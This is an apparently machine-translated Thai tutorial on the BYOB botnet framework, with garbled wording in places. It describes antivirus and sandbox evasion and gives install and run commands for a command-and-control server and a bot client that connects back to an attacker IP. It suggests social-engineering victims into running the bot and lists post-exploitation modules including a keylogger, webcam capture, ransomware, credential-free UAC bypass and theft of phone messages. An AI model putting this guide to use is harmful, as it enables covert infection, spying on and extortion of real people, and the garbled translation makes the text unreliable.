BYOB จัดเตรียมกรอบงานสำหรับนักวิจัยด้านความปลอดภัยและนักพัฒนาเพื่อสร้างและใช้งานบ็อตเน็ตพื้นฐานเพื่อให้เข้าใจถึงมัลแวร์ที่ซับซ้อนซึ่งแพร่ระบาดในอุปกรณ์หลายล้านเครื่องทุกปี และวางบอทเน็ตสมัยใหม่ เพื่อปรับปรุงความสามารถในการพัฒนามาตรการตอบโต้กับภัยคุกคามเหล่านี้ ได้รับการออกแบบมาเพื่อให้นักพัฒนาสามารถใช้โค้ดของตนเองและเพิ่มคุณสมบัติใหม่ที่ยอดเยี่ยมโดยไม่ต้องเขียน RAT หรือเซิร์ฟเวอร์ Command &Control ใหม่ทั้งหมด
คุณสมบัติ
-
ไม่มีอะไรเขียนลงดิสก์ − ไคลเอ็นต์ไม่เคยเขียนอะไรลงในดิสก์ แม้แต่ไฟล์ชั่วคราวเพราะการนำเข้าจากระยะไกลทำให้โค้ดที่กำหนดเองโหลดเข้าสู่หน่วยความจำแบบไดนามิกและนำเข้าโดยตรงไปยังกระบวนการที่กำลังทำงานอยู่
-
แพลตฟอร์มอิสระ − ทุกอย่างเขียนด้วย Python และไคลเอนต์ที่สร้างขึ้นสามารถเลือกที่จะคอมไพล์เป็นไฟล์ปฏิบัติการแบบพกพา (Windows) หรือรวมเป็นแอปพลิเคชันแบบสแตนด์อโลนได้
-
บายพาสไฟร์วอลล์ - ไคลเอนต์เชื่อมต่อกับเซิร์ฟเวอร์คำสั่งและการควบคุมผ่านการเชื่อมต่อ TCP ย้อนกลับ ซึ่งจะข้ามไฟร์วอลล์ส่วนใหญ่เนื่องจากการกำหนดค่าตัวกรองเริ่มต้นจะบล็อกการเชื่อมต่อขาเข้าเป็นหลัก
-
มาตรการต่อต้านโปรแกรมป้องกันไวรัส − หลีกเลี่ยงการถูกวิเคราะห์โดยโปรแกรมป้องกันไวรัสโดยบล็อกกระบวนการที่มีชื่อผลิตภัณฑ์ป้องกันไวรัสที่รู้จักไม่ให้วางไข่
-
เข้ารหัสเพย์โหลดเพื่อป้องกันการวิเคราะห์ - เพย์โหลดของไคลเอ็นต์หลักถูกเข้ารหัสด้วยคีย์ 256 บิตแบบสุ่มซึ่งมีอยู่ในสเตจของเพย์โหลดซึ่งสร้างขึ้นพร้อมกับมันเท่านั้น
-
ป้องกันวิศวกรรมย้อนกลับ − โดยค่าเริ่มต้น ไคลเอนต์จะยกเลิกการดำเนินการหากตรวจพบเครื่องเสมือนหรือแซนด์บ็อกซ์
วิธีการติดตั้ง
-
โคลน git https://github.com/malwaredllc/byob.git
-
cd byob
-
pip install -r requirements.txt
-
หลาม setup.py
ที่นี่จะใช้อาคารผู้โดยสารสองแห่ง เทอร์มินัลแรกจะเป็น Bot Server ซึ่งจะมีการจัดการเซสชันและเทอร์มินัลที่สองคือ Bot Client ที่จะสร้างบอท
-
python server.py –port 445
จากนั้นเปิดเทอร์มินัล linux อื่นแล้วพิมพ์ cd /home/cybersecurity/Downloads/byob/byob
-
หลาม client.py –name testbot.py 192.168.1.10 (ไอพีของผู้โจมตี) 445
หลังจากดำเนินการค้นหาข้างต้น บ็อตเน็ตใหม่จะถูกสร้างขึ้น แบบสอบถามข้างต้นจะดำเนินการ ตอนนี้คุณสามารถใช้กลอุบายทางสังคมที่ใคร ๆ ก็เปิดบอทในคอมพิวเตอร์ของตนได้ เมื่อ testbot.py ดำเนินการในเครื่องเป้าหมาย เซสชันจะถูกสร้างขึ้นในเซิร์ฟเวอร์ botnet
หลังการเอารัดเอาเปรียบ
โมดูลหลังการใช้ประโยชน์ที่ลูกค้าสามารถนำเข้าจากระยะไกลได้หลังจากการกำหนดค่าบ็อตเน็ตในเหยื่อสำเร็จแล้ว
-
Keylogger (byob.modules.keylogger):บันทึกการกดแป้นของผู้ใช้และชื่อหน้าต่างที่ป้อน
-
สกรีนช็อต (byob.modules.screenshot):ถ่ายภาพหน้าจอของเดสก์ท็อปของผู้ใช้ปัจจุบัน
-
เว็บแคม (byob.modules.webcam):ดูสตรีมแบบสดหรือจับภาพ/วิดีโอจากเว็บแคม
-
ค่าไถ่ (byob.modules.ransom):เข้ารหัสไฟล์และสร้างกระเป๋าสตางค์ BTC แบบสุ่มสำหรับการชำระค่าไถ่
-
Packet Sniffer (byob.modules.packetsniffer):เรียกใช้ packet sniffer บนเครือข่ายโฮสต์ &ไฟล์ upload.pcap
-
ความคงอยู่ (byob.modules.persistence):สร้างการคงอยู่ของเครื่องโฮสต์
-
โทรศัพท์ (byob.modules.phone):อ่าน/ค้นหา/อัปโหลดข้อความจากสมาร์ทโฟนไคลเอ็นต์
-
ยกระดับสิทธิ์ (byob.modules.escalate):พยายามเลี่ยงผ่าน UAC เพื่อรับสิทธิ์ผู้ดูแลระบบที่ไม่ได้รับอนุญาต
-
Port Scanner (byob.modules.portscanner):สแกนเครือข่ายท้องถิ่นสำหรับอุปกรณ์ออนไลน์อื่นๆ &เปิดพอร์ต
-
การควบคุมกระบวนการ (byob.modules.process):list/search/kill/monitor กำลังเรียกใช้กระบวนการบนโฮสต์